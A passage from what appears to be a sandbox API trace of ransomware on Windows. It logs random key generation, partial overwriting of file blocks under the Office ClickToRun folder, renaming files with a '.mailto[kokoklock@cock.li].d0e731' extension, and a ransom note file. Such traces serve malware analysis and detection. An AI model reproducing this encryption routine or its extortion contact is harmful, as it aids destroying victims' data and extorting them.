Seed=0x27e3fa54) returned 0x4a9d0d8c [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0xf3d7b7f8 [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0xc4659aad [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x123f48f6 [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x10106472 [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x8c0570ea [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0xf8fee834 [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x1e141c99 [0082.704] RtlRandom (in: Seed=0x27e3fa54 | out: Seed=0x27e3fa54) returned 0x7368f46d [0082.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfb0) returned 1 [0082.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0082.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cdf8 [0082.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cdf8) returned 1 [0082.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.715] ReadFile (in: hFile=0x668, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x27e3fa48, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x27e3fa48*=0x66, lpOverlapped=0x0) returned 1 [0082.715] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x27e3fa10 | out: lpNewFilePointer=0x0) returned 1 [0082.715] WriteFile (in: hFile=0x668, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x27e3fa44, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x27e3fa44*=0x66, lpOverlapped=0x0) returned 1 [0082.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cdf8 [0082.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d0f0 [0082.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d0f0) returned 1 [0082.715] WriteFile (in: hFile=0x668, lpBuffer=0x342cdf8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27e3fa40, lpOverlapped=0x0 | out: lpBuffer=0x342cdf8*, lpNumberOfBytesWritten=0x27e3fa40*=0x20, lpOverlapped=0x0) returned 1 [0082.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cdf8) returned 1 [0082.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.716] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.716] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0082.716] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.716] WriteFile (in: hFile=0x668, lpBuffer=0x342ce20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x27e3fa6c, lpOverlapped=0x0 | out: lpBuffer=0x342ce20*, lpNumberOfBytesWritten=0x27e3fa6c*=0x8, lpOverlapped=0x0) returned 1 [0082.716] WriteFile (in: hFile=0x668, lpBuffer=0x27e3fa84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27e3fa6c, lpOverlapped=0x0 | out: lpBuffer=0x27e3fa84*, lpNumberOfBytesWritten=0x27e3fa6c*=0x4, lpOverlapped=0x0) returned 1 [0082.716] WriteFile (in: hFile=0x668, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27e3fa6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x27e3fa6c*=0x4, lpOverlapped=0x0) returned 1 [0082.716] WriteFile (in: hFile=0x668, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x27e3fa6c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x27e3fa6c*=0x6c, lpOverlapped=0x0) returned 1 [0082.716] WriteFile (in: hFile=0x668, lpBuffer=0x342cf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27e3fa6c, lpOverlapped=0x0 | out: lpBuffer=0x342cf10*, lpNumberOfBytesWritten=0x27e3fa6c*=0x20, lpOverlapped=0x0) returned 1 [0082.716] WriteFile (in: hFile=0x668, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27e3fa6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x27e3fa6c*=0x4, lpOverlapped=0x0) returned 1 [0082.716] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf10) returned 1 [0082.716] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0082.717] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce20) returned 1 [0082.717] CloseHandle (hObject=0x668) returned 1 [0082.717] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x104) returned 0x341da40 [0082.717] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash" [0082.717] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731" [0082.717] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\s640.hash"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.717] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.718] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0082.718] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash", dwFileAttributes=0x20) returned 0 [0082.718] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd4) returned 0x3493b78 [0082.718] wcscpy (in: _Dest=0x3493b78, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\" [0082.718] wcscat (in: _Dest=0x3493b78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\D0E731-Readme.txt" [0082.718] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\d0e731-readme.txt")) returned 0x20 [0082.718] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493b78) returned 1 [0082.718] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7af8) returned 1 [0082.718] RtlExitUserThread (Status=0x1) Thread: id = 1123 os_tid = 0x1368 [0082.719] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat")) returned 0x20 [0082.720] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat", dwFileAttributes=0x20) returned 1 [0082.720] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x668 [0082.720] GetFileSizeEx (in: hFile=0x668, lpFileSize=0x27ebfba8 | out: lpFileSize=0x27ebfba8*=3688458) returned 1 [0082.720] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x384806, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.720] ReadFile (in: hFile=0x668, lpBuffer=0x27ebfb7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27ebfb78, lpOverlapped=0x0 | out: lpBuffer=0x27ebfb7c*, lpNumberOfBytesRead=0x27ebfb78*=0x4, lpOverlapped=0x0) returned 1 [0082.722] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.722] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfb0 [0082.722] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf10 [0082.722] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d0f0 [0082.722] NtQuerySystemTime (in: CurrentTime=0x27ebfb54 | out: CurrentTime=0x27ebfb54*=132121176406173262) returned 0x0 [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0xf8b47880 [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0x96a22faa [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0x2a27109e [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0xcc6fd9d2 [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0x119321cb [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0x8090e168 [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0x9575513f [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0x73c4ef69 [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0x84429531 [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0xc3b695db [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0xc414c99 [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0xa60b229f [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0x36501618 [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0x16829d7e [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0xa03e6e14 [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0xc5adeacc [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0xa743efd0 [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0x5f4892b4 [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0xbeab0b5a [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0xf5ce0e8e [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0xdfcc9ad5 [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0x17f3bb17 [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0x9e40e94d [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0xccc26a61 [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0x5deb4a15 [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0x205c75eb [0082.722] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0xf90baa0 [0082.723] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0x926dcc52 [0082.723] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0x996337c9 [0082.723] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0xcdd5f6f1 [0082.723] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0x17346418 [0082.723] RtlRandom (in: Seed=0x27ebfb60 | out: Seed=0x27ebfb60) returned 0x2c346c6f [0082.733] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.733] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfb0) returned 1 [0082.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.733] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.734] ReadFile (in: hFile=0x668, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x27ebfb14, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x27ebfb14*=0x4096, lpOverlapped=0x0) returned 1 [0082.735] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0082.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cdf8 [0082.735] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cdf8) returned 1 [0082.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cdf8 [0082.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d118 [0082.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d118) returned 1 [0082.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0082.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.736] WriteFile (in: hFile=0x668, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x27ebfb14, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x27ebfb14*=0x4096, lpOverlapped=0x0) returned 1 [0082.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.736] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x1c41a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.736] ReadFile (in: hFile=0x668, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x27ebfb14, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x27ebfb14*=0x4096, lpOverlapped=0x0) returned 1 [0082.738] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x1c41a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.738] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd118 [0082.738] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fc88 [0082.738] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cee8 [0082.738] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cee8) returned 1 [0082.738] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.739] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d190 [0082.739] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce70 [0082.739] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce70) returned 1 [0082.739] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc88) returned 1 [0082.739] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd118) returned 1 [0082.739] WriteFile (in: hFile=0x668, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x27ebfb14, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x27ebfb14*=0x4096, lpOverlapped=0x0) returned 1 [0082.739] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.739] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x380774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.739] ReadFile (in: hFile=0x668, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x27ebfb14, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x27ebfb14*=0x4096, lpOverlapped=0x0) returned 1 [0082.739] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x380774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0082.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0082.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce70 [0082.740] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce70) returned 1 [0082.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce70 [0082.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cd30 [0082.740] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cd30) returned 1 [0082.740] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0082.740] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0082.740] WriteFile (in: hFile=0x668, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x27ebfb14, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x27ebfb14*=0x4096, lpOverlapped=0x0) returned 1 [0082.740] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.741] WriteFile (in: hFile=0x668, lpBuffer=0x342cdf8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27ebfb70, lpOverlapped=0x0 | out: lpBuffer=0x342cdf8*, lpNumberOfBytesWritten=0x27ebfb70*=0x20, lpOverlapped=0x0) returned 1 [0082.741] WriteFile (in: hFile=0x668, lpBuffer=0x342d190*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27ebfb70, lpOverlapped=0x0 | out: lpBuffer=0x342d190*, lpNumberOfBytesWritten=0x27ebfb70*=0x20, lpOverlapped=0x0) returned 1 [0082.741] WriteFile (in: hFile=0x668, lpBuffer=0x342ce70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27ebfb70, lpOverlapped=0x0 | out: lpBuffer=0x342ce70*, lpNumberOfBytesWritten=0x27ebfb70*=0x20, lpOverlapped=0x0) returned 1 [0082.741] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.741] WriteFile (in: hFile=0x668, lpBuffer=0x342ce20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x27ebfb78, lpOverlapped=0x0 | out: lpBuffer=0x342ce20*, lpNumberOfBytesWritten=0x27ebfb78*=0x8, lpOverlapped=0x0) returned 1 [0082.741] WriteFile (in: hFile=0x668, lpBuffer=0x27ebfb90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27ebfb78, lpOverlapped=0x0 | out: lpBuffer=0x27ebfb90*, lpNumberOfBytesWritten=0x27ebfb78*=0x4, lpOverlapped=0x0) returned 1 [0082.741] WriteFile (in: hFile=0x668, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27ebfb78, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x27ebfb78*=0x4, lpOverlapped=0x0) returned 1 [0082.741] WriteFile (in: hFile=0x668, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x27ebfb78, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x27ebfb78*=0x6c, lpOverlapped=0x0) returned 1 [0082.741] WriteFile (in: hFile=0x668, lpBuffer=0x342cf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27ebfb78, lpOverlapped=0x0 | out: lpBuffer=0x342cf10*, lpNumberOfBytesWritten=0x27ebfb78*=0x20, lpOverlapped=0x0) returned 1 [0082.741] WriteFile (in: hFile=0x668, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27ebfb78, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x27ebfb78*=0x4, lpOverlapped=0x0) returned 1 [0082.741] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf10) returned 1 [0082.741] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0082.741] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce20) returned 1 [0082.742] CloseHandle (hObject=0x668) returned 1 [0082.742] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x124) returned 0x341da40 [0082.742] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" [0082.742] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731" [0082.742] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.756] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.757] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0082.757] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat", dwFileAttributes=0x20) returned 0 [0082.757] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd4) returned 0x3494a58 [0082.757] wcscpy (in: _Dest=0x3494a58, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\" [0082.757] wcscat (in: _Dest=0x3494a58, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All 